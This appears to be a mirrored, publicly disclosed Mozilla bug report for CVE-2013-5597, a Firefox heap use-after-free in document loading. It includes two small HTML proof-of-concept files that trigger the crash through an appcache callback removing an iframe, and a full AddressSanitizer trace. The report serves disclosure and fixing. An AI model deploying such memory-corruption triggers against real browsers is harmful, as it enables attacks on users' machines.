Skip to content
Memory corruption Disclosed report CVE-2013-5597

[FIX] Heap-use-after-free in nsDocLoader::doStopDocumentLoad()

lifeasageek Follow

Originally disclosed on Mozilla

Critical View original
  • Fixed in 28 days
  • Paid in 10 days
  • Disclosed after 28 days

User Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36

Steps to reproduce:

Heap-use-after-free in nsDocLoader::doStopDocumentLoad(). Tested on asan firefox build (1377823661 and 1379548174) and 23.0 (crashed). OS : Debian 7.1 and Ubuntu 10.04 LTS

Please put a.html and b.html in the same directory, and open a.html.

=== a.html ===

<html> <script> function killChildFrame() { window[0].home(); document.body.removeChild(document.getElementsByTagName('iframe')[0]); } </script> <iframe src="b.html"></iframe> </html>

=== b.html ===

<html manifest="x"> <script> window.applicationCache.onchecking = function() { parent.killChildFrame(); } </script> </html>

Actual results:

==18678==ERROR: AddressSanitizer: heap-use-after-free on address 0x6060009b8100 at pc 0x7f3781adb4e0 bp 0x7fff04361db0 sp 0x7fff04361da8 READ of size 8 at 0x6060009b8100 thread T0 #0 0x7f3781adb4df in ~nsCOMPtr /dist/include/nsCOMPtr.h:430 #1 0x7f3781ada6a3 in nsDocLoader::doStopDocumentLoad(nsIRequest*, tag_nsresult) /builds/slave/m-cen-l64-asan-000000000000000/build/uriloader/base/nsDocLoader.cpp:865 #2 0x7f3781ad832f in nsDocLoader::DocLoaderIsEmpty(bool) /builds/slave/m-cen-l64-asan-000000000000000/build/uriloader/base/nsDocLoader.cpp:755 #3 0x7f3781ad98aa in nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, tag_nsresult) /builds/slave/m-cen-l64-asan-000000000000000/build/uriloader/base/nsDocLoader.cpp:639 #4 0x7f3781ada159 in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, tag_nsresult) /builds/slave/m-cen-l64-asan-000000000000000/build/uriloader/base/nsDocLoader.cpp:642 #5 0x7f377f3b4106 in nsLoadGroup::RemoveRequest(nsIRequest*, nsISupports*, tag_nsresult) /builds/slave/m-cen-l64-asan-000000000000000/build/netwerk/base/src/nsLoadGroup.cpp:687 #6 0x7f37804bfdaa in nsDocument::DoUnblockOnload() /builds/slave/m-cen-l64-asan-000000000000000/build/content/base/src/nsDocument.cpp:7999 #7 0x7f37804bf8af in nsDocument::UnblockOnload(bool) /builds/slave/m-cen-l64-asan-000000000000000/build/content/base/src/nsDocument.cpp:7927 #8 0x7f378049e862 in nsDocument::DispatchContentLoadedEvents() /builds/slave/m-cen-l64-asan-000000000000000/build/content/base/src/nsDocument.cpp:4713 #9 0x7f37804e53bc in nsRunnableMethodImpl<void (nsDocument::)(), true>::Run() /dist/include/nsThreadUtils.h:363 #10 0x7f37836d4ba9 in nsThread::ProcessNextEvent(bool, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/xpcom/threads/nsThread.cpp:622 #11 0x7f37835fe016 in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/obj-firefox/xpcom/build/nsThreadUtils.cpp:238 #12 0x7f3781c36dbc in nsXULWindow::ShowModal() /builds/slave/m-cen-l64-asan-000000000000000/build/xpfe/appshell/src/nsXULWindow.cpp:365 #13 0x7f3781b79015 in nsWindowWatcher::OpenWindowInternal(nsIDOMWindow*, char const*, char const*, char const*, bool, bool, bool, nsIArray*, nsIDOMWindow**) /builds/slave/m-cen-l64-asan-000000000000000/build/embedding/components/windowwatcher/src/nsWindowWatcher.cpp:998 #14 0x7f3781b74558 in nsWindowWatcher::OpenWindow(nsIDOMWindow*, char const*, char const*, char const*, nsISupports*, nsIDOMWindow**) /builds/slave/m-cen-l64-asan-000000000000000/build/embedding/components/windowwatcher/src/nsWindowWatcher.cpp:344 #15 0x7f378371c551 in NS_InvokeByIndex /builds/slave/m-cen-l64-asan-000000000000000/build/xpcom/reflect/xptcall/src/md/unix/xptcinvoke_x86_64_unix.cpp:162 #16 0x7f37819aa26e in CallMethodHelper::Invoke() /builds/slave/m-cen-l64-asan-000000000000000/build/js/xpconnect/src/XPCWrappedNative.cpp:2809 #17 0x7f37819bbfbb in XPC_WN_CallMethod(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/js/xpconnect/src/XPCWrappedNativeJSOps.cpp:1316 #18 0x7f3784f6e27a in JSFunction::native() const /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/jscntxtinlines.h:219 #19 0x7f3784f61352 in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:2484 #20 0x7f3784f4fd51 in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:446 #21 0x7f3784f6e4b3 in js::Invoke(JSContext*, JS::CallArgs, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:508 #22 0x7f3784f6f298 in js::Invoke(JSContext*, JS::Value const&, JS::Value const&, unsigned int, JS::Value*, JS::MutableHandleJS::Value) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:539 #23 0x7f378517fce7 in JS_CallFunctionValue(JSContext*, JSObject*, JS::Value, unsigned int, JS::Value*, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/jsapi.cpp:5420 #24 0x7f3781997416 in nsXPCWrappedJSClass::CallMethod(nsXPCWrappedJS*, unsigned short, XPTMethodDescriptor const*, nsXPTCMiniVariant*) /builds/slave/m-cen-l64-asan-000000000000000/build/js/xpconnect/src/XPCWrappedJSClass.cpp:1445 #25 0x7f378198ab3f in nsXPCWrappedJS::CallMethod(unsigned short, XPTMethodDescriptor const*, nsXPTCMiniVariant*) /builds/slave/m-cen-l64-asan-000000000000000/build/js/xpconnect/src/XPCWrappedJS.cpp:587 #26 0x7f378371d73a in PrepareAndDispatch /builds/slave/m-cen-l64-asan-000000000000000/build/xpcom/reflect/xptcall/src/md/unix/xptcstubs_x86_64_linux.cpp:122 #27 0x7f378371c786 in SharedStub /builds/slave/m-cen-l64-asan-000000000000000/build/xpcom/reflect/xptcall/src/md/unix/xptcstubs_x86_64_linux.cpp:0 0x6060009b8100 is located 0 bytes inside of 64-byte region [0x6060009b8100,0x6060009b8140) freed by thread T0 here: #0 0x446015 in __interceptor_free asan_rtl #1 0x7f3781b4791d in nsAutoRefCnt::operator=(unsigned int) /dist/include/mozilla/mozalloc.h:225 #2 0x7f3781adb34f in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, tag_nsresult) /builds/slave/m-cen-l64-asan-000000000000000/build/uriloader/base/nsDocLoader.cpp:1331 #3 0x7f3781ada6a3 in nsDocLoader::doStopDocumentLoad(nsIRequest*, tag_nsresult) /builds/slave/m-cen-l64-asan-000000000000000/build/uriloader/base/nsDocLoader.cpp:865 #4 0x7f3781ad832f in nsDocLoader::DocLoaderIsEmpty(bool) /builds/slave/m-cen-l64-asan-000000000000000/build/uriloader/base/nsDocLoader.cpp:755 #5 0x7f3781ad98aa in nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, tag_nsresult) /builds/slave/m-cen-l64-asan-000000000000000/build/uriloader/base/nsDocLoader.cpp:639 #6 0x7f3781ada159 in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, tag_nsresult) /builds/slave/m-cen-l64-asan-000000000000000/build/uriloader/base/nsDocLoader.cpp:642 #7 0x7f37804bfdaa in nsDocument::DoUnblockOnload() /builds/slave/m-cen-l64-asan-000000000000000/build/content/base/src/nsDocument.cpp:7999 #8 0x7f37804bf8af in nsDocument::UnblockOnload(bool) /builds/slave/m-cen-l64-asan-000000000000000/build/content/base/src/nsDocument.cpp:7927 #9 0x7f378049e862 in nsDocument::DispatchContentLoadedEvents() /builds/slave/m-cen-l64-asan-000000000000000/build/content/base/src/nsDocument.cpp:4713 #10 0x7f37804e53bc in nsRunnableMethodImpl<void (nsDocument::)(), true>::Run() /dist/include/nsThreadUtils.h:363 #11 0x7f37835fe016 in NS_ProcessNextEvent(nsIThread, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/obj-firefox/xpcom/build/nsThreadUtils.cpp:238 #12 0x7f3781c36dbc in nsXULWindow::ShowModal() /builds/slave/m-cen-l64-asan-000000000000000/build/xpfe/appshell/src/nsXULWindow.cpp:365 #13 0x7f3781b79015 in nsWindowWatcher::OpenWindowInternal(nsIDOMWindow*, char const*, char const*, char const*, bool, bool, bool, nsIArray*, nsIDOMWindow**) /builds/slave/m-cen-l64-asan-000000000000000/build/embedding/components/windowwatcher/src/nsWindowWatcher.cpp:998 #14 0x7f3781b74558 in nsWindowWatcher::OpenWindow(nsIDOMWindow*, char const*, char const*, char const*, nsISupports*, nsIDOMWindow**) /builds/slave/m-cen-l64-asan-000000000000000/build/embedding/components/windowwatcher/src/nsWindowWatcher.cpp:344 #15 0x7f378371c551 in NS_InvokeByIndex /builds/slave/m-cen-l64-asan-000000000000000/build/xpcom/reflect/xptcall/src/md/unix/xptcinvoke_x86_64_unix.cpp:162 #16 0x7f37819aa26e in CallMethodHelper::Invoke() /builds/slave/m-cen-l64-asan-000000000000000/build/js/xpconnect/src/XPCWrappedNative.cpp:2809 #17 0x7f37819bbfbb in XPC_WN_CallMethod(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/js/xpconnect/src/XPCWrappedNativeJSOps.cpp:1316 #18 0x7f3784f6e27a in JSFunction::native() const /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/jscntxtinlines.h:219 #19 0x7f3784f61352 in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:2484 #20 0x7f3784f4fd51 in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:446 #21 0x7f3784f6e4b3 in js::Invoke(JSContext*, JS::CallArgs, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:508 #22 0x7f3784f6f298 in js::Invoke(JSContext*, JS::Value const&, JS::Value const&, unsigned int, JS::Value*, JS::MutableHandleJS::Value) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:539 #23 0x7f378517fce7 in JS_CallFunctionValue(JSContext*, JSObject*, JS::Value, unsigned int, JS::Value*, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/jsapi.cpp:5420 #24 0x7f3781997416 in nsXPCWrappedJSClass::CallMethod(nsXPCWrappedJS*, unsigned short, XPTMethodDescriptor const*, nsXPTCMiniVariant*) /builds/slave/m-cen-l64-asan-000000000000000/build/js/xpconnect/src/XPCWrappedJSClass.cpp:1445 #25 0x7f378198ab3f in nsXPCWrappedJS::CallMethod(unsigned short, XPTMethodDescriptor const*, nsXPTCMiniVariant*) /builds/slave/m-cen-l64-asan-000000000000000/build/js/xpconnect/src/XPCWrappedJS.cpp:587 #26 0x7f378371d73a in PrepareAndDispatch /builds/slave/m-cen-l64-asan-000000000000000/build/xpcom/reflect/xptcall/src/md/unix/xptcstubs_x86_64_linux.cpp:122 #27 0x7f378371c786 in SharedStub /builds/slave/m-cen-l64-asan-000000000000000/build/xpcom/reflect/xptcall/src/md/unix/xptcstubs_x86_64_linux.cpp:0 #28 0x7f378371c551 in NS_InvokeByIndex /builds/slave/m-cen-l64-asan-000000000000000/build/xpcom/reflect/xptcall/src/md/unix/xptcinvoke_x86_64_unix.cpp:162 #29 0x7f37819aa26e in CallMethodHelper::Invoke() /builds/slave/m-cen-l64-asan-000000000000000/build/js/xpconnect/src/XPCWrappedNative.cpp:2809 previously allocated by thread T0 here: #0 0x446155 in __interceptor_malloc asan_rtl #1 0x7f378865b5c8 in moz_xmalloc /builds/slave/m-cen-l64-asan-000000000000000/build/memory/mozalloc/mozalloc.cpp:54 #2 0x7f37803d493e in nsContentSink::ProcessOfflineManifest(nsAString_internal const&) /builds/slave/m-cen-l64-asan-000000000000000/build/content/base/src/nsContentSink.cpp:1108 #3 0x7f378127360b in nsHtml5SpeculativeLoad::Perform(nsHtml5TreeOpExecutor*) /builds/slave/m-cen-l64-asan-000000000000000/build/parser/html/nsHtml5SpeculativeLoad.cpp:45 #4 0x7f37813095f7 in nsHtml5TreeOpExecutor::RunFlushLoop() /builds/slave/m-cen-l64-asan-000000000000000/build/parser/html/nsHtml5TreeOpExecutor.cpp:507 #5 0x7f3781283288 in nsHtml5ExecutorFlusher::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/parser/html/nsHtml5StreamParser.cpp:131 #6 0x7f37835fe016 in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/obj-firefox/xpcom/build/nsThreadUtils.cpp:238 #7 0x7f3781c36dbc in nsXULWindow::ShowModal() /builds/slave/m-cen-l64-asan-000000000000000/build/xpfe/appshell/src/nsXULWindow.cpp:365 #8 0x7f3781b79015 in nsWindowWatcher::OpenWindowInternal(nsIDOMWindow*, char const*, char const*, char const*, bool, bool, bool, nsIArray*, nsIDOMWindow**) /builds/slave/m-cen-l64-asan-000000000000000/build/embedding/components/windowwatcher/src/nsWindowWatcher.cpp:998 #9 0x7f3781b74558 in nsWindowWatcher::OpenWindow(nsIDOMWindow*, char const*, char const*, char const*, nsISupports*, nsIDOMWindow**) /builds/slave/m-cen-l64-asan-000000000000000/build/embedding/components/windowwatcher/src/nsWindowWatcher.cpp:344 #10 0x7f378371c551 in NS_InvokeByIndex /builds/slave/m-cen-l64-asan-000000000000000/build/xpcom/reflect/xptcall/src/md/unix/xptcinvoke_x86_64_unix.cpp:162 #11 0x7f37819aa26e in CallMethodHelper::Invoke() /builds/slave/m-cen-l64-asan-000000000000000/build/js/xpconnect/src/XPCWrappedNative.cpp:2809 #12 0x7f37819bbfbb in XPC_WN_CallMethod(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/js/xpconnect/src/XPCWrappedNativeJSOps.cpp:1316 #13 0x7f3784f6e27a in JSFunction::native() const /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/jscntxtinlines.h:219 #14 0x7f3784f61352 in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:2484 #15 0x7f3784f4fd51 in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:446 #16 0x7f3784f6e4b3 in js::Invoke(JSContext*, JS::CallArgs, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:508 #17 0x7f3784f6f298 in js::Invoke(JSContext*, JS::Value const&, JS::Value const&, unsigned int, JS::Value*, JS::MutableHandleJS::Value) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:539 #18 0x7f378517fce7 in JS_CallFunctionValue(JSContext*, JSObject*, JS::Value, unsigned int, JS::Value*, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/jsapi.cpp:5420 #19 0x7f3781997416 in nsXPCWrappedJSClass::CallMethod(nsXPCWrappedJS*, unsigned short, XPTMethodDescriptor const*, nsXPTCMiniVariant*) /builds/slave/m-cen-l64-asan-000000000000000/build/js/xpconnect/src/XPCWrappedJSClass.cpp:1445 #20 0x7f378198ab3f in nsXPCWrappedJS::CallMethod(unsigned short, XPTMethodDescriptor const*, nsXPTCMiniVariant*) /builds/slave/m-cen-l64-asan-000000000000000/build/js/xpconnect/src/XPCWrappedJS.cpp:587 #21 0x7f378371d73a in PrepareAndDispatch /builds/slave/m-cen-l64-asan-000000000000000/build/xpcom/reflect/xptcall/src/md/unix/xptcstubs_x86_64_linux.cpp:122 #22 0x7f378371c786 in SharedStub /builds/slave/m-cen-l64-asan-000000000000000/build/xpcom/reflect/xptcall/src/md/unix/xptcstubs_x86_64_linux.cpp:0 #23 0x7f378371c551 in NS_InvokeByIndex /builds/slave/m-cen-l64-asan-000000000000000/build/xpcom/reflect/xptcall/src/md/unix/xptcinvoke_x86_64_unix.cpp:162 #24 0x7f37819aa26e in CallMethodHelper::Invoke() /builds/slave/m-cen-l64-asan-000000000000000/build/js/xpconnect/src/XPCWrappedNative.cpp:2809 #25 0x7f37819bbfbb in XPC_WN_CallMethod(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/js/xpconnect/src/XPCWrappedNativeJSOps.cpp:1316 #26 0x7f3784f6e27a in JSFunction::native() const /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/jscntxtinlines.h:219 #27 0x7f3784f61352 in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:2484 #28 0x7f3784f4fd51 in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:446 #29 0x7f3784f6e4b3 in js::Invoke(JSContext*, JS::CallArgs, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:508 Shadow bytes around the buggy address: 0x0c0c8012efd0: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 fa 0x0c0c8012efe0: fa fa fa fa 00 00 00 00 00 00 00 fa fa fa fa fa 0x0c0c8012eff0: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00 0x0c0c8012f000: 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 00 00 0x0c0c8012f010: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa =>0x0c0c8012f020:[fd]fd fd fd fd fd fd fd fa fa fa fa fd fd fd fd 0x0c0c8012f030: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fd 0x0c0c8012f040: fa fa fa fa 00 00 00 00 00 00 05 fa fa fa fa fa 0x0c0c8012f050: fd fd fd fd fd fd fd fd fa fa fa fa 00 00 00 00 0x0c0c8012f060: 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 00 fa 0x0c0c8012f070: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 ASan internal: fe ==18678==ABORTING

The original report as published on Mozilla's Bugzilla, by lifeasageek. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A critical-severity memory corruption bug in DOM: Core & HTML. Mozilla made it public on 18 October 2013 as CVE-2013-5597.

About Memory corruption

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by lifeasageek

View all

1 more disclosed report, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.